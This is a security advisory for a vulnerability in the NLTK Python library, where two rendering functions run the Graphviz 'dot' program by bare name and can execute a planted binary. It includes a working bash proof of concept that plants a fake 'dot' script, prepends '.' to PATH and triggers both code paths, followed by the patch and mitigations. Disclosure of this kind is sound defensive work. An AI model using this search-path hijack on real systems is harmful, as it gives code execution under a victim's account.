high · 7.8CVE-2026-78680Sep 1, 2026

CVE-2026-78680: NLTK Uncontrolled Search Path via Graphviz dot Binary

Shubham Kandhare
Security Engagement Manager, SecureLayer7

NLTK's dependency graph renderer and translation SVG preview both invoke the Graphviz 'dot' program by bare name, letting an attacker substitute their own executable by planting a file called 'dot'…

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-78680: NLTK Uncontrolled Search Path via Graphviz dot Binary

The problem

Two call sites in NLTK invoke Graphviz by the bare name 'dot' via subprocess, rather than by an absolute, validated path.

nltk.parse.dependencygraph.dot2img called find_binary('dot') to locate the binary, then silently discarded that validated path and passed ['dot', ...] to subprocess anyway. nltk.translate.api.AlignedSent._repr_svg_ skipped find_binary entirely and ran ['dot', ...] with no validation at all.

On Windows, the OS always searches the current working directory when resolving a bare program name. On Linux/macOS, any . or relative entry in PATH produces the same result. An attacker who can write a file named dot to any directory that gets searched before the real Graphviz installation achieves arbitrary code execution under the victim's account.

Proof of concept

A working proof-of-concept for CVE-2026-78680 in nltk, with the exact payload below.

bash
# 1. Plant a malicious 'dot' binary in the current working directory
cat > ./dot << 'EOF'
#!/bin/sh
echo PWNED > /tmp/pwned.txt
EOF
chmod +x ./dot

# 2. Add '.' to PATH so the OS resolves bare 'dot' from CWD
export PATH=.:$PATH

# 3a. Trigger via dot2img (dependencygraph)
python3 - << 'PYEOF'
from nltk.parse.dependencygraph import dot2img
try:
    dot2img('digraph G { A -> B }')
except Exception:
    pass
PYEOF

# 3b. OR trigger via AlignedSent IPython SVG rendering
python3 - << 'PYEOF'
from nltk.translate.api import AlignedSent
s = AlignedSent(['klein', 'ist', 'das', 'Mädchen'], ['the', 'girl', 'is', 'small'], [(0,1),(1,0)])
try:
    s._repr_svg_()
except Exception:
    pass
PYEOF

# Verify: if /tmp/pwned.txt exists, the planted binary ran instead of Graphviz
cat /tmp/pwned.txt

The root cause is CWE-427 (Uncontrolled Search Path Element) combined with CWE-426 (Untrusted Search Path). find_binary already defends against CWD/relative-PATH injection by refusing to return a path that is not an absolute, pre-validated location, but dot2img threw away its return value and passed the bare string 'dot' to subprocess, making the guard useless. _repr_svg_ never called find_binary at all.

The patch (commit 1a3cd1764ab3deb084fb66d0ffb4873717659538) changes both sites to pass [find_binary('dot'), ...] as the subprocess argument, so the OS-level search never happens. On Windows, CWD injection is eliminated entirely. On Unix, . or any relative PATH entry is refused by find_binary before subprocess is ever called.

This is the same pattern already applied to the senna, weka, boxer, malt, repp, and hunpos wrappers. Only an absolute PATH directory controlled by an attacker (Attack 4 in the advisory) remains in scope, and that is an OS trust-model problem, not an NLTK one.

The fix

Upgrade NLTK to 3.10.3 (pip install --upgrade nltk). The fix is in commit 1a3cd1764ab3deb084fb66d0ffb4873717659538: both dependencygraph.dot2img and AlignedSent._repr_svg_ now invoke find_binary('dot') and pass its validated absolute path directly to subprocess.

If you cannot upgrade immediately, ensure . and no relative entries are present in PATH, and avoid running NLTK in world-writable or attacker-controlled working directories.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research